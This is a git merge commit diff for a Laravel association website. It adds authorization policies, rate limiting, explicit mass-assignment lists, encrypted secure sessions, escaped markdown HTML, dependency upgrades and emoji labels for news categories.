Merge remote-tracking branch 'origin/master'

This commit is contained in:
HolgerHatGarKeineNode
2026-03-23 17:26:51 +00:00
64 changed files with 4250 additions and 1026 deletions

View File

@@ -34,7 +34,8 @@ DB_PASSWORD_EINUNDZANZIG=secret
SESSION_DRIVER=database
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
SESSION_PATH=/
SESSION_DOMAIN=null

2
.gitignore vendored
View File

@@ -23,3 +23,5 @@ yarn-error.log
/.sisyphus
/.opencode
.switch-omo-config*
/.playwright-mcp
/*.png

View File

@@ -0,0 +1,3 @@
[ 3014ms] [ERROR] Access to font at 'http://localhost/storage/fonts/440f07d668/sinconsolatav37qlddnthlqrwh-oj1uhjlkenvzkwgvkl3gzqmawlyya15idhuna.woff2' from origin 'http://127.0.0.1:8321' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. @ http://127.0.0.1:8321/association/news:654
[ 3015ms] [ERROR] Failed to load resource: net::ERR_FAILED @ http://localhost/storage/fonts/440f07d668/sinconsolatav37qlddnthlqrwh-oj1uhjlkenvzkwgvkl3gzqmawlyya15idhuna.woff2:0
[ 3126ms] [ERROR] Failed to load resource: net::ERR_CONNECTION_CLOSED @ https://127.0.0.1:8321/favicon.ico:0

9
app/Enums/Emoji.php Normal file
View File

@@ -0,0 +1,9 @@
<?php
namespace App\Enums;
use ArchTech\Enums\Meta\MetaProperty;
use Attribute;
#[Attribute]
class Emoji extends MetaProperty {}

View File

@@ -10,7 +10,7 @@ use ArchTech\Enums\Names;
use ArchTech\Enums\Options;
use ArchTech\Enums\Values;
#[Meta(Label::class, Color::class, Icon::class)]
#[Meta(Label::class, Color::class, Icon::class, Emoji::class)]
enum NewsCategory: int
{
use From;
@@ -20,31 +20,31 @@ enum NewsCategory: int
use Options;
use Values;
#[Label('Einundzwanzig')] #[Color('amber')] #[Icon('bitcoin-sign')]
#[Label('Einundzwanzig')] #[Color('amber')] #[Icon('bitcoin-sign')] #[Emoji('₿')]
case Einundzwanzig = 1;
#[Label('Allgemeines')] #[Color('zinc')] #[Icon('newspaper')]
#[Label('Allgemeines')] #[Color('zinc')] #[Icon('newspaper')] #[Emoji('📋')]
case Allgemeines = 2;
#[Label('Organisation')] #[Color('cyan')] #[Icon('file-lines')]
#[Label('Organisation')] #[Color('cyan')] #[Icon('file-lines')] #[Emoji('📁')]
case Organisation = 3;
#[Label('Bitcoin')] #[Color('orange')] #[Icon('coins')]
#[Label('Bitcoin')] #[Color('orange')] #[Icon('coins')] #[Emoji('🏠')]
case Bitcoin = 4;
#[Label('Meetups')] #[Color('green')] #[Icon('users')]
#[Label('Meetups')] #[Color('green')] #[Icon('users')] #[Emoji('🎉')]
case Meetups = 5;
#[Label('Bildung')] #[Color('blue')] #[Icon('graduation-cap')]
#[Label('Bildung')] #[Color('blue')] #[Icon('graduation-cap')] #[Emoji('📚')]
case Bildung = 6;
#[Label('Protokolle')] #[Color('purple')] #[Icon('clipboard-list')]
#[Label('Protokolle')] #[Color('purple')] #[Icon('clipboard-list')] #[Emoji('📝')]
case Protokolle = 7;
#[Label('Finanzen')] #[Color('emerald')] #[Icon('chart-pie')]
#[Label('Finanzen')] #[Color('emerald')] #[Icon('chart-pie')] #[Emoji('💰')]
case Finanzen = 8;
#[Label('Veranstaltungen')] #[Color('rose')] #[Icon('calendar-star')]
#[Label('Veranstaltungen')] #[Color('rose')] #[Icon('calendar-star')] #[Emoji('📅')]
case Veranstaltungen = 9;
public static function selectOptions()
@@ -62,6 +62,8 @@ enum NewsCategory: int
),
'icon' => self::fromName($name)
->icon(),
'emoji' => self::fromName($name)
->emoji(),
]
)
->values()

View File

@@ -3,6 +3,7 @@
namespace App\Livewire\Traits;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\RateLimiter;
use Livewire\Attributes\On;
trait WithNostrAuth
@@ -18,6 +19,16 @@ trait WithNostrAuth
#[On('nostrLoggedIn')]
public function handleNostrLogin(string $pubkey): void
{
$executed = RateLimiter::attempt(
'nostr-login:'.request()->ip(),
10,
function () {},
);
if (! $executed) {
abort(429, 'Too many login attempts.');
}
NostrAuth::login($pubkey);
$this->currentPubkey = $pubkey;

View File

@@ -9,12 +9,10 @@ class Category extends Model
{
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
];
/**
* The attributes that should be cast to native types.

View File

@@ -17,12 +17,10 @@ class City extends Model
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
];
/**
* The attributes that should be cast to native types.

View File

@@ -9,12 +9,10 @@ class Country extends Model
{
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
];
/**
* The attributes that should be cast to native types.

View File

@@ -19,12 +19,11 @@ class Course extends Model implements HasMedia
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
'description',
];
/**
* The attributes that should be cast to native types.

View File

@@ -9,12 +9,11 @@ class CourseEvent extends Model
{
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'from',
'to',
];
/**
* The attributes that should be cast to native types.

View File

@@ -15,7 +15,17 @@ class EinundzwanzigPleb extends Authenticatable implements CipherSweetEncrypted
use HasFactory;
use UsesCipherSweet;
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'npub',
'pubkey',
'email',
'no_email',
'nip05_handle',
'association_status',
'application_text',
'archived_application_text',
];
protected function casts(): array
{

View File

@@ -9,7 +9,8 @@ class Election extends Model
{
use HasFactory;
protected $guarded = [];
/** @var list<string> */
protected $fillable = [];
protected function casts(): array
{

View File

@@ -6,7 +6,14 @@ use Illuminate\Database\Eloquent\Model;
class Event extends Model
{
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'event_id',
'pubkey',
'parent_event_id',
'json',
'type',
];
public function renderedEvent()
{

View File

@@ -21,12 +21,10 @@ class Lecturer extends Model implements HasMedia
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
];
/**
* The attributes that should be cast to native types.

View File

@@ -21,12 +21,10 @@ class Meetup extends Model implements HasMedia
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
];
/**
* The attributes that should be cast to native types.

View File

@@ -9,12 +9,10 @@ class MeetupEvent extends Model
{
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'start',
];
/**
* The attributes that should be cast to native types.

View File

@@ -3,6 +3,7 @@
namespace App\Models;
use App\Enums\NewsCategory;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Spatie\MediaLibrary\HasMedia;
@@ -10,9 +11,14 @@ use Spatie\MediaLibrary\InteractsWithMedia;
class Notification extends Model implements HasMedia
{
use HasFactory;
use InteractsWithMedia;
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
'description',
];
protected function casts(): array
{

View File

@@ -9,7 +9,14 @@ class PaymentEvent extends Model
{
use HasFactory;
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'year',
'event_id',
'amount',
'paid',
'btc_pay_invoice',
];
public function pleb()
{

View File

@@ -6,5 +6,18 @@ use Illuminate\Database\Eloquent\Model;
class Profile extends Model
{
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'pubkey',
'name',
'display_name',
'picture',
'banner',
'website',
'about',
'nip05',
'lud16',
'lud06',
'deleted',
];
}

View File

@@ -20,12 +20,13 @@ class ProjectProposal extends Model implements HasMedia
use HasSlug;
use InteractsWithMedia;
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
'description',
'support_in_sats',
'website',
];
/**
* The attributes that should be cast to native types.
@@ -77,14 +78,20 @@ class ProjectProposal extends Model implements HasMedia
->useFallbackUrl(asset('einundzwanzig-alpha.jpg'));
}
public function getSignedMediaUrl(string $collection = 'main', int $expireMinutes = 60): string
public function getSignedMediaUrl(string $collection = 'main', int $expireMinutes = 60, ?string $conversion = null): string
{
$media = $this->getFirstMedia($collection);
if (! $media) {
return asset('einundzwanzig-alpha.jpg');
}
return url()->temporarySignedRoute('media.signed', now()->addMinutes($expireMinutes), ['media' => $media]);
$parameters = ['media' => $media];
if ($conversion && $media->hasGeneratedConversion($conversion)) {
$parameters['conversion'] = $conversion;
}
return url()->temporarySignedRoute('media.signed', now()->addMinutes($expireMinutes), $parameters);
}
public function einundzwanzigPleb(): BelongsTo

View File

@@ -6,7 +6,13 @@ use Illuminate\Database\Eloquent\Model;
class RenderedEvent extends Model
{
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'event_id',
'html',
'profile_image',
'profile_name',
];
public function event()
{

View File

@@ -22,12 +22,10 @@ class Venue extends Model implements HasMedia
protected $connection = 'einundzwanzig';
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'name',
];
/**
* The attributes that should be cast to native types.

View File

@@ -7,12 +7,13 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Vote extends Model
{
/**
* The attributes that aren't mass assignable.
*
* @var array
*/
protected $guarded = [];
/** @var list<string> */
protected $fillable = [
'einundzwanzig_pleb_id',
'project_proposal_id',
'value',
'reason',
];
/**
* The attributes that should be cast to native types.

View File

@@ -0,0 +1,78 @@
<?php
namespace App\Policies;
use App\Auth\NostrUser;
use App\Models\Election;
class ElectionPolicy
{
/**
* Determine whether the user can view any elections.
*/
public function viewAny(?NostrUser $user): bool
{
return true;
}
/**
* Determine whether the user can view the election.
*/
public function view(?NostrUser $user, Election $election): bool
{
return true;
}
/**
* Determine whether the user can create elections.
* Only board members.
*/
public function create(NostrUser $user): bool
{
return $this->isBoardMember($user);
}
/**
* Determine whether the user can update the election (e.g. manage candidates).
* Only board members.
*/
public function update(NostrUser $user, Election $election): bool
{
return $this->isBoardMember($user);
}
/**
* Determine whether the user can delete the election.
* Only board members.
*/
public function delete(NostrUser $user, Election $election): bool
{
return $this->isBoardMember($user);
}
/**
* Determine whether the user can vote in the election.
* Requires: authenticated pleb with active or honorary status.
*/
public function vote(NostrUser $user, Election $election): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return $pleb->association_status->value >= 3;
}
private function isBoardMember(NostrUser $user): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return in_array($pleb->npub, config('einundzwanzig.config.current_board'), true);
}
}

View File

@@ -0,0 +1,96 @@
<?php
namespace App\Policies;
use App\Auth\NostrUser;
use App\Models\ProjectProposal;
class ProjectProposalPolicy
{
/**
* Determine whether the user can view any project proposals.
*/
public function viewAny(?NostrUser $user): bool
{
return true;
}
/**
* Determine whether the user can view the project proposal.
*/
public function view(?NostrUser $user, ProjectProposal $projectProposal): bool
{
return true;
}
/**
* Determine whether the user can create project proposals.
* Requires: authenticated, association_status > 1, paid membership for current year.
*/
public function create(NostrUser $user): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return $pleb->association_status->value > 1
&& $pleb->paymentEvents()->where('year', date('Y'))->where('paid', true)->exists();
}
/**
* Determine whether the user can update the project proposal.
* Allowed for: the creator OR board members.
*/
public function update(NostrUser $user, ProjectProposal $projectProposal): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return $pleb->id === $projectProposal->einundzwanzig_pleb_id
|| $this->isBoardMember($pleb);
}
/**
* Determine whether the user can delete the project proposal.
* Allowed for: the creator OR board members.
*/
public function delete(NostrUser $user, ProjectProposal $projectProposal): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return $pleb->id === $projectProposal->einundzwanzig_pleb_id
|| $this->isBoardMember($pleb);
}
/**
* Determine whether the user can accept/reject the project proposal.
* Only board members can change the accepted flag and sats_paid.
*/
public function accept(NostrUser $user, ProjectProposal $projectProposal): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return $this->isBoardMember($pleb);
}
/**
* @param \App\Models\EinundzwanzigPleb $pleb
*/
private function isBoardMember(object $pleb): bool
{
return in_array($pleb->npub, config('einundzwanzig.config.current_board'), true);
}
}

View File

@@ -0,0 +1,58 @@
<?php
namespace App\Policies;
use App\Auth\NostrUser;
use App\Models\ProjectProposal;
use App\Models\Vote;
class VotePolicy
{
/**
* Determine whether the user can create a vote for a project proposal.
* Requires: authenticated user with a pleb record who has not yet voted on this proposal.
*/
public function create(NostrUser $user, ProjectProposal $projectProposal): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return ! Vote::query()
->where('project_proposal_id', $projectProposal->id)
->where('einundzwanzig_pleb_id', $pleb->id)
->exists();
}
/**
* Determine whether the user can update the vote.
* Only the vote owner can update their vote.
*/
public function update(NostrUser $user, Vote $vote): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return $pleb->id === $vote->einundzwanzig_pleb_id;
}
/**
* Determine whether the user can delete the vote.
* Only the vote owner can delete their vote.
*/
public function delete(NostrUser $user, Vote $vote): bool
{
$pleb = $user->getPleb();
if (! $pleb) {
return false;
}
return $pleb->id === $vote->einundzwanzig_pleb_id;
}
}

View File

@@ -2,6 +2,16 @@
namespace App\Providers;
use App\Models\Election;
use App\Models\ProjectProposal;
use App\Models\Vote;
use App\Policies\ElectionPolicy;
use App\Policies\ProjectProposalPolicy;
use App\Policies\VotePolicy;
use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\ServiceProvider;
class AppServiceProvider extends ServiceProvider
@@ -19,6 +29,20 @@ class AppServiceProvider extends ServiceProvider
*/
public function boot(): void
{
//
Gate::policy(ProjectProposal::class, ProjectProposalPolicy::class);
Gate::policy(Vote::class, VotePolicy::class);
Gate::policy(Election::class, ElectionPolicy::class);
RateLimiter::for('api', function (Request $request) {
return Limit::perMinute(60)->by($request->ip());
});
RateLimiter::for('voting', function (Request $request) {
return Limit::perMinute(10)->by($request->ip());
});
RateLimiter::for('nostr-login', function (Request $request) {
return Limit::perMinute(10)->by($request->ip());
});
}
}

View File

@@ -15,7 +15,9 @@ return Application::configure(basePath: dirname(__DIR__))
health: '/up',
)
->withMiddleware(function (Middleware $middleware) {
//
$middleware->api(prepend: [
\Illuminate\Routing\Middleware\ThrottleRequests::class.':api',
]);
})
->withExceptions(function (Exceptions $exceptions) {
Integration::handles($exceptions);

View File

@@ -33,7 +33,10 @@ return [
*
* More info: https://spatie.be/docs/laravel-markdown/v1/using-the-blade-component/passing-options-to-commonmark
*/
'commonmark_options' => [],
'commonmark_options' => [
'html_input' => 'escape',
'allow_unsafe_links' => false,
],
/*
* Rendering markdown to HTML can be resource intensive. By default

View File

@@ -47,7 +47,7 @@ return [
|
*/
'encrypt' => env('SESSION_ENCRYPT', false),
'encrypt' => env('SESSION_ENCRYPT', true),
/*
|--------------------------------------------------------------------------
@@ -169,7 +169,7 @@ return [
|
*/
'secure' => env('SESSION_SECURE_COOKIE'),
'secure' => env('SESSION_SECURE_COOKIE', true),
/*
|--------------------------------------------------------------------------

View File

@@ -34,6 +34,7 @@ class EinundzwanzigPlebFactory extends Factory
public function boardMember(): static
{
return $this->state(fn (array $attributes) => [
'npub' => config('einundzwanzig.config.current_board')[0],
'association_status' => \App\Enums\AssociationStatus::HONORARY,
]);
}

View File

@@ -0,0 +1,26 @@
<?php
namespace Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory;
/**
* @extends \Illuminate\Database\Eloquent\Factories\Factory<\App\Models\Notification>
*/
class NotificationFactory extends Factory
{
/**
* Define the model's default state.
*
* @return array<string, mixed>
*/
public function definition(): array
{
return [
'name' => $this->faker->sentence(3),
'description' => $this->faker->paragraph(),
'category' => $this->faker->randomElement(\App\Enums\NewsCategory::cases()),
'einundzwanzig_pleb_id' => \App\Models\EinundzwanzigPleb::factory(),
];
}
}

View File

@@ -21,6 +21,7 @@ class ProjectProposalFactory extends Factory
'name' => $this->faker->sentence(3),
'description' => $this->faker->paragraph(),
'support_in_sats' => $this->faker->numberBetween(10000, 1000000),
'website' => $this->faker->url(),
];
}
}

1692
design.pen

File diff suppressed because it is too large Load Diff

View File

@@ -6,25 +6,25 @@
"build": "vite build"
},
"devDependencies": {
"@nostr-dev-kit/ndk": "^2.10.0",
"@nostr-dev-kit/ndk": "^3.0.0",
"@tailwindcss/forms": "^0.5.8",
"autoprefixer": "^10.4.20",
"autoprefixer": "^10.4.24",
"chart.js": "^4.4.4",
"chartjs-adapter-date-fns": "^3.0.0",
"date-fns": "^4.1.0",
"flatpickr": "^4.6.13",
"laravel-echo": "^2.3.0",
"laravel-vite-plugin": "^1.0",
"nostr-tools": "^2.7.2",
"laravel-vite-plugin": "^2",
"nostr-tools": "^2.23.0",
"postcss": "^8.4.41",
"pusher-js": "^8.4.0",
"tailwindcss": "^4.1.18",
"vite": "^5.0",
"vite": "^7",
"webln": "^0.3.2"
},
"dependencies": {
"@tailwindcss/vite": "^4.1.18",
"concurrently": "^9.2.1",
"shiki": "^1.22.0"
"shiki": "^3.0.0"
}
}

View File

@@ -81,4 +81,66 @@
.brand-icon {
@apply w-8 h-8 rounded-lg bg-orange-primary flex items-center justify-center;
}
/**
* News Category Badges
*
* Farbige Kategorie-Badges für News-Karten.
* Jede Farbe hat einen transparenten Hintergrund mit passender Textfarbe.
*/
.news-category-badge {
@apply bg-bg-elevated text-text-secondary border border-border-default;
}
.news-category-badge--amber {
background-color: #FF5C0033;
color: #FF5C00;
border: none;
}
.news-category-badge--zinc {
@apply bg-bg-elevated text-text-secondary border border-border-default;
}
.news-category-badge--cyan {
background-color: #06b6d433;
color: #06b6d4;
border: none;
}
.news-category-badge--orange {
background-color: #FF5C0033;
color: #FF5C00;
border: none;
}
.news-category-badge--green {
background-color: #22c55e33;
color: #22c55e;
border: none;
}
.news-category-badge--blue {
background-color: #3b82f633;
color: #3b82f6;
border: none;
}
.news-category-badge--purple {
background-color: #7c3aed33;
color: #7c3aed;
border: none;
}
.news-category-badge--emerald {
background-color: #10b98133;
color: #10b981;
border: none;
}
.news-category-badge--rose {
background-color: #f4365833;
color: #f43658;
border: none;
}
}

View File

@@ -24,7 +24,7 @@
<a class="relative block w-full h-48 sm:w-56 sm:h-auto xl:sidebar-expanded:w-40 2xl:sidebar-expanded:w-56 shrink-0 sm:shrink-0"
href="{{ route('association.projectSupport.item', ['projectProposal' => $project]) }}">
<img class="absolute object-cover object-center w-full h-full"
src="{{ $project->getSignedMediaUrl('main') }}" alt="Meetup 01">
src="{{ $project->getSignedMediaUrl('main', 60, 'preview') }}" alt="Meetup 01">
<button class="absolute top-0 right-0 mt-4 mr-4">
<img class="rounded-full h-8 w-8"
src="{{ $project->einundzwanzigPleb->profile?->picture }}"
@@ -36,7 +36,7 @@
<a class="relative block w-full h-48 sm:w-56 sm:h-auto xl:sidebar-expanded:w-40 2xl:sidebar-expanded:w-56 shrink-0 sm:shrink-0"
href="{{ route('association.projectSupport.item', ['projectProposal' => $project]) }}">
<img class="absolute object-cover object-center w-full h-full"
src="{{ $project->getSignedMediaUrl('main') }}" alt="Meetup 01">
src="{{ $project->getSignedMediaUrl('main', 60, 'preview') }}" alt="Meetup 01">
<button class="absolute top-0 right-0 mt-4 mr-4">
<img class="rounded-full h-8 w-8"
src="{{ $project->einundzwanzigPleb->profile?->picture }}"
@@ -78,10 +78,7 @@
<!-- Second row: Action buttons -->
<div class="flex flex-wrap gap-2">
@if(
($currentPleb && $currentPleb->id === $project->einundzwanzig_pleb_id)
|| ($currentPleb && in_array($currentPleb->npub, config('einundzwanzig.config.current_board'), true))
)
@if(Illuminate\Support\Facades\Gate::forUser(App\Support\NostrAuth::user())->allows('delete', $project))
<flux:button
icon="trash"
size="xs"
@@ -89,7 +86,8 @@
wire:click="$dispatch('confirmDeleteProject', { id: {{ $project->id }} })">
Löschen
</flux:button>
@endif
@if(Illuminate\Support\Facades\Gate::forUser(App\Support\NostrAuth::user())->allows('update', $project))
<flux:button
icon="pencil"
size="xs"

View File

@@ -1,6 +1,8 @@
<?php
use App\Models\Election;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\Gate;
use Livewire\Attributes\Locked;
use Livewire\Component;
use swentel\nostr\Filter\Filter;
@@ -49,18 +51,31 @@ new class extends Component {
$this->loadBoardEvents();
$this->loadVotes();
$this->loadBoardVotes();
$nostrUser = NostrAuth::user();
if ($nostrUser) {
$this->currentPubkey = $nostrUser->getPubkey();
$this->currentPleb = $nostrUser->getPleb();
$this->isAllowed = Gate::forUser($nostrUser)->allows('update', $this->election);
}
}
public function handleNostrLoggedIn(string $pubkey): void
{
NostrAuth::login($pubkey);
$this->currentPubkey = $pubkey;
$this->currentPleb = \App\Models\EinundzwanzigPleb::query()
->where('pubkey', $pubkey)->first();
$this->isAllowed = (bool) $this->currentPleb;
$nostrUser = NostrAuth::user();
$this->isAllowed = $nostrUser && Gate::forUser($nostrUser)->allows('update', $this->election);
}
public function handleNostrLoggedOut(): void
{
NostrAuth::logout();
$this->currentPubkey = null;
$this->currentPleb = null;
$this->isAllowed = false;
@@ -139,17 +154,22 @@ new class extends Component {
public function loadNostrEvents($kinds): array
{
$relayUrl = config('services.relay');
if (! $relayUrl) {
return [];
}
$subscription = new Subscription;
$subscriptionId = $subscription->setId();
$filter = new Filter;
$filter->setKinds($kinds);
$requestMessage = new RequestMessage($subscriptionId, [$filter]);
$relaySet = new RelaySet;
$relaySet->setRelays([new Relay(config('services.relay'))]);
$relaySet->setRelays([new Relay($relayUrl)]);
$request = new Request($relaySet, $requestMessage);
$response = $request->send();
return collect($response[config('services.relay')])
return collect($response[$relayUrl] ?? [])
->map(function ($event) {
if (! isset($event->event)) {
return false;

View File

@@ -3,6 +3,7 @@
use App\Models\EinundzwanzigPleb;
use App\Models\Election;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\Gate;
use Livewire\Attributes\Locked;
use Livewire\Component;
@@ -29,34 +30,31 @@ new class extends Component {
$this->elections = Election::query()
->get()
->toArray();
if (NostrAuth::check()) {
$this->currentPubkey = NostrAuth::pubkey();
$logPubkeys = [
'0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033',
'430169631f2f0682c60cebb4f902d68f0c71c498fd1711fd982f052cf1fd4279',
];
if (in_array($this->currentPubkey, $logPubkeys, true)) {
$this->isAllowed = true;
}
$nostrUser = NostrAuth::user();
if ($nostrUser) {
$this->currentPubkey = $nostrUser->getPubkey();
$this->isAllowed = Gate::forUser($nostrUser)->allows('update', Election::query()->first() ?? new Election);
}
}
public function handleNostrLoggedIn(string $pubkey): void
{
NostrAuth::login($pubkey);
$this->currentPubkey = $pubkey;
$this->currentPleb = EinundzwanzigPleb::query()
->where('pubkey', $pubkey)->first();
$logPubkeys = [
'0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033',
'430169631f2f0682c60cebb4f902d68f0c71c498fd1711fd982f052cf1fd4279',
];
$this->isAllowed = in_array($pubkey, $logPubkeys, true);
$nostrUser = NostrAuth::user();
$this->isAllowed = $nostrUser && Gate::forUser($nostrUser)->allows('update', Election::query()->first() ?? new Election);
}
public function handleNostrLoggedOut(): void
{
NostrAuth::logout();
$this->currentPubkey = null;
$this->currentPleb = null;
$this->isAllowed = false;
@@ -66,6 +64,9 @@ new class extends Component {
{
$election = $this->elections[$index];
$electionModel = Election::find($election['id']);
Gate::forUser(NostrAuth::user())->authorize('update', $electionModel);
$electionModel->candidates = $election['candidates'];
$electionModel->save();
}

View File

@@ -4,6 +4,8 @@ use App\Models\Election;
use App\Models\EinundzwanzigPleb;
use App\Models\Profile;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\RateLimiter;
use Livewire\Attributes\Computed;
use Livewire\Attributes\Locked;
use Livewire\Component;
@@ -55,7 +57,7 @@ new class extends Component {
];
#[Computed]
public function loadedEvents(): array
public function loadedEvents(): \Illuminate\Support\Collection
{
return collect($this->events)
->map(function ($event) {
@@ -82,12 +84,11 @@ new class extends Component {
})
->sortByDesc('created_at')
->unique(fn ($event) => $event['pubkey'].$event['type'])
->values()
->toArray();
->values();
}
#[Computed]
public function loadedBoardEvents(): array
public function loadedBoardEvents(): \Illuminate\Support\Collection
{
return collect($this->boardEvents)
->map(function ($event) {
@@ -113,16 +114,15 @@ new class extends Component {
];
})
->sortByDesc('created_at')
->values()
->toArray();
->values();
}
#[Computed]
public function electionConfig(): array
public function electionConfig(): \Illuminate\Support\Collection
{
$loadedEvents = $this->loadedEvents();
return collect(json_decode($this->election->candidates, true, 512, JSON_THROW_ON_ERROR))
return collect($this->election->candidates)
->map(function ($c) use ($loadedEvents) {
$candidates = Profile::query()
->whereIn('pubkey', $c['c'])
@@ -147,16 +147,15 @@ new class extends Component {
'c' => $c['c'],
'candidates' => $candidates,
];
})
->toArray();
});
}
#[Computed]
public function electionConfigBoard(): array
public function electionConfigBoard(): \Illuminate\Support\Collection
{
$loadedBoardEvents = $this->loadedBoardEvents();
return collect(json_decode($this->election->candidates, true, 512, JSON_THROW_ON_ERROR))
return collect($this->election->candidates)
->map(function ($c) use ($loadedBoardEvents) {
$candidates = Profile::query()
->whereIn('pubkey', $c['c'])
@@ -182,8 +181,7 @@ new class extends Component {
'c' => $c['c'],
'candidates' => $candidates,
];
})
->toArray();
});
}
public function mount(Election $election): void
@@ -200,14 +198,35 @@ new class extends Component {
if ($this->election->end_time?->isPast() || ! config('services.voting')) {
$this->isNotClosed = false;
}
$nostrUser = NostrAuth::user();
if ($nostrUser) {
$this->currentPubkey = $nostrUser->getPubkey();
$this->currentPleb = $nostrUser->getPleb();
$this->isAllowed = Gate::forUser($nostrUser)->allows('vote', $this->election);
}
}
public function handleNostrLoggedIn(string $pubkey): void
{
$executed = RateLimiter::attempt(
'nostr-login:'.request()->ip(),
10,
function () {},
);
if (! $executed) {
abort(429, 'Too many login attempts.');
}
NostrAuth::login($pubkey);
$this->currentPubkey = $pubkey;
$this->currentPleb = EinundzwanzigPleb::query()
->where('pubkey', $pubkey)->first();
$this->isAllowed = (bool) $this->currentPleb;
$nostrUser = NostrAuth::user();
$this->isAllowed = $nostrUser && Gate::forUser($nostrUser)->allows('vote', $this->election);
}
public function handleNostrLoggedOut(): void
@@ -248,17 +267,22 @@ new class extends Component {
public function loadNostrEvents($kinds): array
{
$relayUrl = config('services.relay');
if (! $relayUrl) {
return [];
}
$subscription = new Subscription;
$subscriptionId = $subscription->setId();
$filter = new Filter;
$filter->setKinds($kinds);
$requestMessage = new RequestMessage($subscriptionId, [$filter]);
$relaySet = new RelaySet;
$relaySet->setRelays([new Relay(config('services.relay'))]);
$relaySet->setRelays([new Relay($relayUrl)]);
$request = new Request($relaySet, $requestMessage);
$response = $request->send();
return collect($response[config('services.relay')])
return collect($response[$relayUrl] ?? [])
->map(function ($event) {
if (! isset($event->event)) {
return false;
@@ -279,6 +303,18 @@ new class extends Component {
public function vote($pubkey, $type, $board = false): void
{
Gate::forUser(NostrAuth::user())->authorize('vote', $this->election);
$executed = RateLimiter::attempt(
'voting:'.request()->ip(),
10,
function () {},
);
if (! $executed) {
abort(429, 'Too many voting attempts.');
}
if ($this->election->end_time?->isPast()) {
$this->isNotClosed = false;
@@ -303,6 +339,16 @@ new class extends Component {
public function signEvent($event): void
{
$executed = RateLimiter::attempt(
'voting:'.request()->ip(),
10,
function () {},
);
if (! $executed) {
abort(429, 'Too many voting attempts.');
}
$note = new NostrEvent;
$note->setId($event['id']);
$note->setSignature($event['sig']);
@@ -311,8 +357,12 @@ new class extends Component {
$note->setPublicKey($event['pubkey']);
$note->setTags($event['tags']);
$note->setCreatedAt($event['created_at']);
$relayUrl = config('services.relay');
if (! $relayUrl) {
return;
}
$eventMessage = new EventMessage($note);
$relay = new Relay(config('services.relay'));
$relay = new Relay($relayUrl);
$relay->setMessage($eventMessage);
$relay->send();
\App\Support\Broadcast::on('votes')->as('newVote')->sendNow();

View File

@@ -219,7 +219,7 @@ new class extends Component
</flux:button>
</div>
<flux:table>
<flux:table id="einundzwanzig-pleb-table">
<flux:table.columns>
<flux:table.column>Avatar</flux:table.column>
<flux:table.column

View File

@@ -103,12 +103,12 @@ class extends Component {
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first();
$news = Notification::query()->create([
'name' => $this->form['name'],
'description' => $this->form['description'] ?? null,
'category' => $this->form['category'],
'einundzwanzig_pleb_id' => $currentPleb->id,
]);
$news = new Notification;
$news->name = $this->form['name'];
$news->description = $this->form['description'] ?? null;
$news->category = $this->form['category'];
$news->einundzwanzig_pleb_id = $currentPleb->id;
$news->save();
if ($this->file) {
$news
@@ -142,289 +142,243 @@ class extends Component {
<div>
@if($isAllowed)
<div class="xl:flex">
<div class="flex flex-col gap-6 lg:flex-row lg:gap-8">
<!-- Left + Middle content -->
<div class="md:flex flex-1">
<!-- Main content -->
<div class="flex-1 min-w-0 flex flex-col gap-6">
<!-- Page title -->
